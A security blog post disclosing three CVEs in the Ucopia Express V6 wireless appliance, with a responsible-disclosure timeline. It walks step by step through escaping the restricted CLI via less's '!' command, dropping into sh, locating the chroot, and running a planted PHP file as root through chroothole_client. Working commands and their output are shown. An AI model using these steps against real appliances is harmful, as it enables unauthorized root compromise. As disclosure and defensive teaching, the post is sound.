Ucopia V6 : Multiple CVE used to root the host

2021-03-01 / GLOBADIS

Something I hate in my job is that sometimes I have a problem with an appliance, and no easy mean to diagnose it. It's already bad enough when it's because those are designed from scratch to be restricted (Looking at you, Cisco and your god-damned IOS), but it's worst when they are running on a standard Linux/Unix host to which we don't have access. All the commands I need are right there, I know it, I know what I need to use, where to find it, but I can't because the editor does not want its users to access operating system underneath.

Even though they present this as a security feature, I always think it's either a lazy take on security (they have not properly managed to secure the OS and don't want us to pry into it) or a mean to force us to call for their support center when we have a problem (and of course, pay the associated fee).

I usually kinda let it slide when it's SaaS or other kind of "rented appliance" which we do not purchase, but pay regularly for. But when it's a physical (or virutal) device) we purchase first and install in our datacenter… Now that really bothers me. Why on earth should I trust that you, dear editor, is better suited to handle the security of the OS than me ? Why can't I even look at how it's configured ?

So, each time I have a problem with this kind of equipment, it ends the same way : As soon as I have a bit a spare time (shortened lunch breaks), I try to pry into the appliance.

Until now, I kept my findings to myself in order to keep my edge on the editors in this neverending race. But now I think it's time to let it out, so

- It can benefit other sysadmins struck in the same issues I have
- Responsible disclosure allows for the editor to patch their device, lowering the risk to their customers
- I can us this as an example to show you the mindset of an attacker on a real target.

So buckle up, we're going on a ride !

Our target today : Ucopia Express wireless appliance

In a few words, Ucopia Express is an easy to install and use wireless "guest" network manager. It can do more than that, but guest access is it's basic intended purpose. So it can hand different networks, profiles and policies, display captive portals for local account authentication or connect to an external (radius or LDAP) service for authentication.

As you can guess, this is running on a Linux host but we're not allowed in the OS and have to deal with either the web application or a CLI for configuration or debugging.

Our starting point here is logged in the CLI with the user `admin` . This could and should be considered a bit like cheating, as it is an authenticated write-capable user, but it's really not. Ucopia devices are all shipped with the same admin password, which is common knowledge at this point (See CVE-2017-17743). And even if through the Web-based installation & configuration process, you are asked to change the admin password, for some unfathomable reason, it *only* changes the WebUI admin password and *not* the CLI password, which tends to stay the default one for years.

So at this point, being logged in as `admin` in CLI really should be treated as unauthenticated access.

Target identification :

```
***** ***** ***** ***** ***** ***** *****
* Production name      UV2000
* Hardware version     VMWARE
* Serial number        <Redacted>
* License              Express 500
* Current build        18010105
* Current version      6.0.5
* Last upgrade         update_6.0-b18010105
* Maintenance validity <Redacted>
***** ***** ***** ***** ***** ***** *****
```

As we can see right from the login banner, we're in a controlled environment :

```
Type 'help' to display the CLI usage help.
Type '?' to display the available commands.
Type a command name followed by '?' to display specific help about this command.

> ?

accessLimitationAdmin       List / Add / Remove limitations to access Web Administration Tools
activateLicense             Install license. In case of virtual appliance, the activation key must be specified
addFTPAccount               Add an FTP account
```

```
addSubnet                   Add incoming or outgoing subnet
addZone                     Add a zone
[ ... ]
```

Historically, I knew a bit about the architecture of Ucopia's CLI environment. So we're in a CLI, which runs in a (restricted) shell, which is chrooted. That seems like a long shot to escape all of these layers of security, but let's take it one step at a time.

Escaping CLI

First things first, we won't be able to get very far if we're unable to escape this restricted command line interface. Let's take a look at the available commands :

```
accessLimitationAdmin       List / Add / Remove limitations to access Web Administration Tools
activateLicense             Install license. In case of virtual appliance, the activation key must be specified
addFTPAccount               Add an FTP account
addSubnet                   Add incoming or outgoing subnet
addZone                     Add a zone
adminInterface              Configure the network parameters of the admin interface
adminSessionTimeout         close admin session after X minutes of inactivity
applyAllUpdates             Apply all updates available in FTP directory
applyUpdate                 Apply one update
arp                         Show ARP cache
arping                      Send an ARP request to a neighbour host
bzip2                       A block-sorting file compressor
deleteFTPAccount            Delete an FTP account
deleteZone                  Delete a zone
delSubnet                   Delete a subnet
dhclient                    Get DHCP distributed IP address
dhcpLease                   Manage fixed DHCP leases
dnsRedirect                 enable/disable DNS redirection
dnsSetServers               Configure the DNS servers
dnsSpoofing                 enable/disable DNS spoofing
enableAutoUpdate            Enable/disable auto update process
enableLogLevel              Change logs level
exit                        Exit this CLI session
filtering                   Open full access on all incoming networks or restore default behavior
freeradiusGenerateNewDHKey  Generate a new Diffie-Hellman key with length specified for the local RADIUS service and restart it.
freeradiusStatusCheck       Change the way FreeRADIUS check server status
halt                        Shut down the controller
hashedPassword              enable/disable hashed password for local user accounts
help                        Display an overview of the CLI syntax
host                        Look up host names using domain server
installCertificate          Install a HTTPS or Radius certificates from a supplied URL
installLicense              Install license from a supplied link
interface                   Show network interfaces configurations
ipRouteGet                  get a single route
keyboard                    Change the keyboard layout
ldapSearch                  Opens a connection to an LDAP controller, binds to it, and performs a search using a filter
less                        Display output one screen at a time
listFTPAccount              List available FTP accounts
listUpdates                 List available updates
listZones                   Show zone list
ls                          List files and directories
manageDhcpLeases            Manage DHCP leases
modifyFTPAccount            Modify an FTP account
modifyNativeIP              Modify controller IP address and netmask of incoming or outgoing native VLAN
modifyZone                  Modify a zone
mysqlCheck                  Check mysql DB
mysqlDbSize                 mysql DB size
mysqlReadSessions           Read sessions table
netstat                     Show network status
nslookup                    queries Internet domain name servers
passwd                      Modify administrator password
ping                        Ping the remote host
ps                          displays information about a selection of the active processes
radiusCipherList            enable/disable SSLv3 support for RADIUS.
reboot                      Reboot the controller
restoreCertificate          Restore certificates
restoreConfiguration        Restore a remote configuration backup
rm                          Remove files or directories
scp                         Secure copy
service                     Configure the state of service
showDhcpLeases              Show DHCP leases
showLogs                    View controller logs
showRoute                   Show network routes
ssh                         OpenSSH client
staticRoutes                Manage static routes
summary                     Show the controller characteristics summary
supportAccess               Give access to UCOPIA support
tcpdump                     Dump traffic on a network
telnet                      User interface to the TELNET protocol
traceroute                  Print the route packets take to network host
troubleshoot                Execute diagnostic tests to find network errors
tunnel                      Mount or unmount a tunnel for support team access
```

```
userAgentFilter             enable/disable a strict filtering on browser User Agent for the controller web server
webCipherSuite              normal/low/high protocol support level on the web server.
wget                        The non-intractive network downloader
windowsDomainRegisteredMAC  Manage Registered MAC address used for devices authentication
```

OK so most of these are handcrafted commands, maybe using some bash or python underneath with a very restriced set of parameters. It seems less likely to escape from these commands than from the handful of available shell commands which we could guess are the real unchecked commands.

▶ That prove to be, however possible, quite a tedious process. There is CVE-2020-25037 related to that, but not the one I exploited to actually root the device. Unroll if you want to read more about it.

So, shell commands were an interesting lead but too time consuming for me.

Out of all the handcrafted commands, two in particular got my attention : `showDhcpLeases` and `showLogs` . Because logs are often very verbose, displaying them in a terminal almost always requires some form of flow control, usually using `less` or `more` as handlers. And every time we use `less` or `more` , there is a chance that command processing was not disabled. Let's take a deeper look on these commands :

```
> showLogs

showLogs [type] [-n number] [-d day]
 View controller logs

    type     Word to search (such as radius, dhcp, etc.) or a pattern with alphabet, numeric, space and characters in following single quotes: '.*+|()[]{},:;\' (us
 -n number   Search in the last 'number' line log events [1000]
 -d day      Search in the specified day's log events (0 = today, 1 = yesterday, interval of days = x-y; A day starts at 6:25AM) [0]
```

No flow control available here... So we're just displaying a shitload of log lines rigth to the admin's face ? Damn, I hope I never need to use this ! Let's see if `showDhcpLeases` is better :

```
> showDhcpLeases

showDhcpLeases [pipe_action] [grep_pattern]
 Show DHCP leases

  pipe_action    A piped action (less|grep) []
  grep_pattern   A grep pattern (do not support ';' character) []
```

Now we might be going somewhere ! We can pipe the output to either `less` or `grep` . `grep` at least seems controlled for semi-colons, which is bad for us, but let's take a look at `less` first :

```
> showDhcpLeases less
DHCP Leases
WARNING: terminal is not fully functional
-  (press RETURN)
```

That's an odd warning, but I don't care much. We now have our standard `less` screen displaying some dhcp leases, as expected.

```
[ ... ]
lease <Redacted> {
  starts 4 2020/07/23 15:32:24;
  ends 4 2020/07/23 16:30:21;
  tstp 4 2020/07/23 16:30:21;
  cltt 4 2020/07/23 15:32:25;
:
```

Let's try to use a command with `less` 's bang :

```
!ls
data
!done  (press RETURN)
!whoami
/bin/rbash: whoami: command not found
```

Nice ! Commands are not disabled in this implementation of less (as they were in the native shell version, see above). So we probably can try ...

CVE 2020-25036 : Escaping from CLI environment through unprotected less command

```
!rbash
rbash-4.3$
```

There we are, one step closer to our goal : we now have access to `rbash` .

▶ Now there are lots we can do with `rbash` , or a least lots more than what we could in CLI, but… not quite enough, or at least not easily enough.

Fortunately, looking at `/etc/passwd/` file shows us that `/bin/sh` is available too :

```
rbash-4.3$ cat /etc/passwd
root:x:0:0::/:/bin/sh
admin:x:1002:1000::/home/admin:/bin/rbash
rbash-4.3$ ls -las /bin
total 1212
   4 drwxr-xr-x  2 root root    4096 Jul 24 02:54 .
   4 drwxr-xr-x 11 root root    4096 Jul 24 02:54 ..
1080 -rwxr-xr-x  1 root root 1105840 Mar 25  2019 rbash
 124 -rwxr-xr-x  1 root root  124492 Nov  8  2014 sh
rbash-4.3$ sh
$
```

Being "locked" in a `rbash` but with a `sh` interpreter at hand and no way to forbid us to use it is odd. I guess they forgot to remove it, or they use the `root` account sometimes for maintenance and need more than `rbash` ?

Anyway, just switch to `sh` and we will have a bit more flexibility (changing directories, calling execs from other directories, etc)

Now is time for a little bit of recon : we escaped a CLI, but where are we exactly ? Judging by the `/etc/passwd` file and `/etc/` directory, it is fair to assume we're in a chroot. We can verify this assumption by looking at `/proc/1/mountinfo` :

```
$ ls -las /etc/
total 88
 4 drwxr-xr-x  4 root root  4096 Jul 24 02:54 .
 4 drwxr-xr-x 11 root root  4096 Jul 24 02:54 ..
12 drwxr-xr-x  2 root root 12288 Jul 24 02:55 clish
 4 -rw-r--r--  1 root root    24 Jul 24 02:54 group
 4 -rw-r--r--  1 root root     9 Jul 24 02:54 host.conf
 4 -rw-r--r--  1 root root  1006 Jul 24 02:54 hosts
 4 -rw-r--r--  1 root root  1747 Jul 24 02:54 inputrc
 4 -rw-r--r--  1 root root  2945 Jul 24 02:54 localtime
 4 -rw-r--r--  1 root root   381 Aug 31 05:12 motd
 4 -rw-r--r--  1 root root   513 Jul 24 02:54 nsswitch.conf
 4 drwxr-xr-x  2 root root  4096 Jul 24 02:54 pam.d
 4 -rw-r--r--  1 root root    64 Jul 24 02:54 passwd
 4 -rw-r--r--  1 root root   827 Jul 24 02:54 profile
 4 -rw-r--r--  1 root root  2932 Jul 24 02:54 protocols
 4 -rw-r--r--  1 root root    21 Jul 24 02:54 resolv.conf
20 -rw-r--r--  1 root root 19605 Jul 24 02:54 services

$ cat /proc/1/mountinfo
14 19 0:14 / /sys rw,nosuid,nodev,noexec,relatime - sysfs sysfs rw
15 19 0:3 / /proc rw,nosuid,nodev,noexec,relatime - proc proc rw
16 19 0:5 / /dev rw,relatime - devtmpfs udev rw,size=10240k,nr_inodes=255165,mode=755
17 16 0:11 / /dev/pts rw,nosuid,noexec,relatime - devpts devpts rw,gid=5,mode=620,ptmxmode=000
18 19 0:15 / /run rw,nosuid,noexec,relatime - tmpfs tmpfs rw,size=205828k,mode=755
19 0 8:2 / / rw,relatime - ext4 /dev/sda2 rw,errors=remount-ro,data=ordered
20 18 0:16 / /run/lock rw,nosuid,nodev,noexec,relatime - tmpfs tmpfs rw,size=5120k
21 14 0:17 / /sys/fs/pstore rw,relatime - pstore pstore rw
23 18 0:19 / /run/shm rw,nosuid,nodev,noexec,relatime - tmpfs tmpfs rw,size=826160k
24 14 0:20 / /sys/fs/fuse/connections rw,relatime - fusectl fusectl rw
25 19 8:5 / /var rw,relatime - ext4 /dev/sda5 rw,data=ordered
28 14 0:21 / /sys/fs/cgroup rw,relatime - tmpfs cgroup rw,size=12k
29 18 0:22 / /run/cgmanager/fs rw,relatime - tmpfs cgmfs rw,size=100k,mode=755
31 28 0:32 / /sys/fs/cgroup/systemd rw,nosuid,nodev,noexec,relatime - cgroup systemd rw,release_agent=/usr/lib/i386-linux-gnu/systemd-shim-cgroup-release-agent,nam
32 18 0:33 / /run/user/1002 rw,nosuid,nodev,relatime - tmpfs tmpfs rw,size=205828k,mode=700,uid=1002,gid=1000
26 25 0:3 / /var/chroot/proc rw,relatime - proc none rw
27 25 8:2 /usr/share/ucopia/clish /var/chroot/etc/clish rw,relatime - ext4 /dev/sda2 rw,errors=remount-ro,data=ordered
```

According to this last line, we're chrooted somewhere under `/var/chroot/` on the host OS. That's nice to know, and even though this is not going to help us for now, we're going to need this intel for later.

Usually, the best ways to escape a chroot are :

- Exploiting kernel bugs
- Exploiting root-owned binaries/libraries with SUID set
- Remounting chroot on a link to host's root

Unfortunately, I was not able to perform any of above. Root-owned binaries and libraries seem copied instead of hard-linked from host OS so I'm not going anywhere meaningful with this approach for now. There may be something more to find this way, but instead of pursuing into this lead, I used my prior knowledge of Ucopia's infrastructure and existing CVE to focus my attention on what will most likely be my way out : the `/usr/bin/chroothole_client` executable.

What is chroothole_client ?

When you design a chrooted system, most of the point is keepign the user to its pants. This is the case when you want to allow a user to drop files on your server but nothing more, or when you want to allow a friend to bounce on your machine for SSH tunelling but are too paranoid to let him have a full user account : you restrict all you can and let the bare minimum for basic intended functionality.

When you're designing a chrooted environment for advanced users to manage part of the system, like in the case at hand, your user needs a lot of privileges. Using CLI, we can setup interfaces, routes, DNS ; we can use traceroute and tcpdump for debugging purposes, and much more. Though for some commands, the easiest way is to simply copy the binary into the chrooted environment, for some other (mostly those needing write permissions on the system), you need to properly parse the user input before passing it to the backend binary to ensure he's not trying to, say, root the system for example. But we all know that *never* happens ;)

So for Ucopia, this led to the development of `chroothole_client` : An executable which, quite predictably according to its name, allows the client to run some commands through a hole in the chroot. Now, this hole has to be the thinnest possible and heavily monitored so not to let the user pass anything through it.

How to exploit chroothole_client

I guess we could `scp` the `chroothole_client` out of the machine, decompile it and look for clues on how to bypass it, but let's try to use it the intended way. That is, when the user in CLI calls for example for a network interface change, there has to be something sent through the hole to the host OS for actual modification, and if the parameters are only checked at CLI-level, we can then forge our own unrestricted calls to `chroothole_client` .

Let's take a look at how are CLI command defined and how they interact with `chroothole_client` .

All the commands used in ucopia `clish` binary use xml definitions located under the chrooted `/etc/clish/` directory.

```
$ ls -las /etc/clish/
total 276
12 drwxr-xr-x 2 root root 12288 Jul 24 02:55 .
 4 drwxr-xr-x 4 root root  4096 Jul 24 02:54 ..
 4 -rw-r--r-- 1 root root  3143 Jul 22 18:45 accessLimitationAdmin.xml
 4 -rw-r--r-- 1 root root  2499 Jul 22 18:45 activateLicense.xml
 4 -rw-r--r-- 1 root root  3588 Jul 22 18:45 addSubnet.xml
 8 -rw-r--r-- 1 root root  5423 Jul 22 18:45 admin_iface.xml
 4 -rw-r--r-- 1 root root  1028 Jul 22 18:45 arping.xml
 4 -rw-r--r-- 1 root root   651 Jul 22 18:45 arp.xml
 4 -rw-r--r-- 1 root root   843 Jul 22 18:45 bzip2.xml
 4 -rw-r--r-- 1 root root  1078 Jul 22 18:45 delSubnet.xml
 4 -rw-r--r-- 1 root root   625 Jul 22 18:45 dhclient.xml
 4 -rw-r--r-- 1 root root   912 Jul 22 18:45 dhcp_lease.xml
 4 -rw-r--r-- 1 root root  1227 Jul 22 18:45 dnsredirect.xml
 4 -rw-r--r-- 1 root root   745 Jul 22 18:45 dnsSetServers.xml
 4 -rw-r--r-- 1 root root  2027 Jul 22 18:45 dnsspoofing.xml
 4 -rw-r--r-- 1 root root  1785 Jul 22 18:45 filtering.xml
 4 -rw-r--r-- 1 root root   688 Jul 22 18:45 freeradius_generate_new_dh_key.xml
 4 -rw-r--r-- 1 root root  1204 Jul 22 18:45 freeradius_status_check.xml
 4 -rw-r--r-- 1 root root  1569 Jul 22 18:45 global-commands.xml
 4 -rw-r--r-- 1 root root  1151 Jul 22 18:45 halt.xml
 4 -rw-r--r-- 1 root root  1823 Jul 22 18:45 host.xml
 4 -rw-r--r-- 1 root root   562 Jul 22 18:45 interface.xml
 4 -rw-r--r-- 1 root root   549 Jul 22 18:45 keyboard.xml
 4 -rw-r--r-- 1 root root  1007 Jul 22 18:45 ldap.xml
 4 -rw-r--r-- 1 root root   523 Jul 22 18:45 less.xml
 4 -rw-r--r-- 1 root root   520 Jul 22 18:45 ls.xml
 4 -rw-r--r-- 1 root root  1791 Jul 22 18:45 manageCertificates.xml
 4 -rw-r--r-- 1 root root  1641 Jul 22 18:45 managedhcpleases.xml
 4 -rw-r--r-- 1 root root  3076 Jul 22 18:45 manageFTPAccount.xml
 4 -rw-r--r-- 1 root root   648 Jul 22 18:45 manageLicense.xml
 4 -rw-r--r-- 1 root root  1741 Jul 22 18:45 manageUpdates.xml
 4 -rw-r--r-- 1 root root  3102 Jul 22 18:45 manageZones.xml
 4 -rw-r--r-- 1 root root   989 Jul 22 18:45 modifyNativeIP.xml
 4 -rw-r--r-- 1 root root   903 Jul 22 18:45 mysqlSummary.xml
 4 -rw-r--r-- 1 root root  2413 Jul 22 18:45 netstat.xml
 4 -rw-r--r-- 1 root root   717 Jul 22 18:45 nslookup.xml
 4 -rw-r--r-- 1 root root  1010 Jul 22 18:45 passwd.xml
 4 -rw-r--r-- 1 root root  1380 Jul 22 18:45 ping.xml
 4 -rw-r--r-- 1 root root   666 Jul 22 18:45 ps_aux.xml
 4 -rw-r--r-- 1 root root   792 Jul 22 18:45 reboot.xml
 4 -rw-r--r-- 1 root root  3251 Jul 22 18:45 restoreConfiguration.xml
 4 -rw-r--r-- 1 root root   879 Jul 22 18:45 rm.xml
 4 -rw-r--r-- 1 root root   817 Jul 22 18:45 root-view.xml
 4 -rw-r--r-- 1 root root   893 Jul 22 18:45 scp.xml
 8 -rw-r--r-- 1 root root  5860 Jul 22 18:45 security.xml
 4 -rw-r--r-- 1 root root  1449 Jul 22 18:45 service.xml
 4 -rw-r--r-- 1 root root  1009 Jul 22 18:45 showdhcpleases.xml
 4 -rw-r--r-- 1 root root  1172 Jul 22 18:45 showRoute.xml
 4 -rw-r--r-- 1 root root   904 Jul 22 18:45 ssh.xml
 4 -rw-r--r-- 1 root root  2552 Jul 22 18:45 startup.xml
 4 -rw-r--r-- 1 root root  3348 Jul 22 18:45 static_routes.xml
```

```
  4 -rw-r--r-- 1 root root   477 Jul 22 18:45 summary.xml
  4 -rw-r--r-- 1 root root   713 Jul 22 18:45 support_access.xml
  4 -rw-r--r-- 1 root root  3669 Jul 22 18:45 syslog.xml
  4 -rw-r--r-- 1 root root  3316 Jul 22 18:45 tcpdump.xml
  4 -rw-r--r-- 1 root root   639 Jul 22 18:45 telnet.xml
  4 -rw-r--r-- 1 root root  2439 Jul 22 18:45 traceroute.xml
  4 -rw-r--r-- 1 root root   494 Jul 22 18:45 troubleshoot.xml
  4 -rw-r--r-- 1 root root  3093 Jul 22 18:45 tunnel.xml
 12 -rw-r--r-- 1 root root 12209 Jul 22 18:45 types.xml
  4 -rw-r--r-- 1 root root  1546 Jul 22 18:45 userAgentFilter.xml
  4 -rw-r--r-- 1 root root  2404 Jul 22 18:45 wget.xml
  4 -rw-r--r-- 1 root root  1485 Jul 22 18:45 windowsDomainRegisteredMAC.xml
```

Now we understand why `less` or `wget` commands were protected : these were not, as supposed, the host shell commands but encapsulated calls with parameter filtering.

Let's take a look to the definition of a clish command that needs to write on the host OS, and hence pass through the chroot hole. Take for example `dnsSetServers` .

```
$ cat /etc/clish/dnsSetServers.xml
<?xml version="1.0" encoding="UTF-8"?>
<CLISH_MODULE xmlns="http://clish.sourceforge.net/XMLSchema"
                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                xsi:schemaLocation="http://clish.sourceforge.net/XMLSchema
                                    http://clish.sourceforge.net/XMLSchema/clish.xsd">

        <COMMAND name="dnsSetServers" help="Configure the DNS servers">
                <PARAM name="dnsserver1"
                                help="The primary DNS server"
                                prefix="--dns1"
                                ptype="IP_ADDR"/>
                <PARAM name="dnsserver2"
                                help="The secondary DNS server"
                                prefix="--dns2"
                                ptype="IP_ADDR_NULLABLE"/>
                <ACTION>
                        chroothole_client "/usr/bin/php /var/www/html/admin/conf/dnsserver.php --dns1='${dnsserver1}' --dns2='${dnsserver2}'"
                </ACTION>
        </COMMAND>
</CLISH_MODULE>
```

Now look at this *beauty*. We're learning here that the chroothole is actually calling for a php script to do its dirty job. This may not makes sense to you if you don't know what Ucopia wireless controllers are, but to make it quick, it's main intended configuration interface is a web application, obviously a php one. I guess they added the CLI much later in the development of the product, which explains the apparent lack of maturity of its security layer and the fact that most commands from the CLI will rely on the php scripts that are actually doing the configuration.

What we learn from this, too, is that we are calling for binaries outside the chroot (duh !), so maybe we could use this to call for other binaries.

▶ Wrong path again...

What did I miss ? Something should have stabbed me right in the eye, obvious as it is, but it took me some time to actually understand what I was looking at.

- `chroothole_client` is calling for `php` to do system configuration.
- So `php` can write on the filesystem, and even configuration files.
- So `php` most likely runs as `root` .
- And it seems like I can pass any file as a parameter to the chrootholed `php` call, even ones I make and upload in my `~/data/` directory.

Could it be that ...

CVE 2020-25035 Abritrary code execurtion using root privileges by exploiting chroothole_client's call to root-running php

Let's try this out. We could upload a complex PHP script to run, like an admin panel, a backdoor or quite anything, but let's keep it simple and use what we learnt.

Create a php script using `sh` 's echo and flow redirection :

```
$ echo '<?php system("whoami"); ?>' > data/test.php
$ cat data/test.php
<?php system("whoami"); ?>
```

A simple system call to `whoami` , if it works as intended, will tell us if we're indeed running php as root, if php is capable of making system calls, and if it has the correct environmental variables to ease our way of exploiting it.

As we have seen earlier (attempted exploit of chrooted rbash), we can only write in our `~/data/` directory. Right, that's no big deal, as long as we can write somewhere easily. But where, from the host system point of view, is located this directory ? We need this answer as our call to php needs the absolute path to the script.

We already know that our chroot is running somewhere under `/var/chroot/` . Looking at past CVE, namely *CVE-2017-11322* we learn that another binary is available : `/usr/bin/status`

What is nice with `status` is that it tries to stat the first parameter, so we can use it to try to pinpoint our `data` directory location by using wildcards for completion. We'll start looking under `/var/chroot/` and see if we recognize the directory structure there :

```
$ chroothole_client '/usr/sbin/status /var/chroot/*'
/var/chroot/bin is not running ... failed!
$ chroothole_client '/usr/sbin/status /var/chroot/h*'
/var/chroot/home is not running ... failed!
$ chroothole_client '/usr/sbin/status /var/chroot/home/a*'
/var/chroot/home/admin is not running ... failed!
$ chroothole_client '/usr/sbin/status /var/chroot/home/admin/da*'
/var/chroot/home/admin/data is not running ... failed!
$ chroothole_client '/usr/sbin/status /var/chroot/home/admin/data/test*'
/var/chroot/home/admin/data/test.php is not running ... failed!
```

Here we go, our scripts are located under `/var/chroot/home/admin/data/` .

Now let's call out previously created test.php file through the chrootholed php :

```
$  /usr/bin/chroothole_client '/usr/bin/php /var/chroot/home/admin/data/test.php'
root
```

What did we learn

So, there are numerous things we learnt here :

- Designing a chrooted environment with system-write access is, at best, a high ante bet
- Designing it off-hand to use existing web-based compenents is worst
- Running php as root is still a bad idea
- Though multiples layers of security might seem better, it may also lead to multiple ways to defeat it all
- Never Trust User Input
- Forcing the user to set a strong admin password si great, having your system actually change it is better.

Timeline

- August 15th 2020 : Discovery of these exploits
- August 24th 2020 : Initial contact with vendor
- August 31rd 2020 : CVE number registration
- September 28th 2020 : Received vendor's GPG public key for secure communication
- October 10th 2020 : Exploits accepted by vendor
- Januray 21rd 2021 : Rollout of corrected version from vendor

Cve / Netsec / Deep Dive

LATEST POSTS

Encrypt and decrypt files with RSA (ssh) keys

Ucopia V6 : Multiple CVE used to root the host

Localisio App

Localisio : a web service to locate public amenities

PSK Generator

SOCIAL MEDIA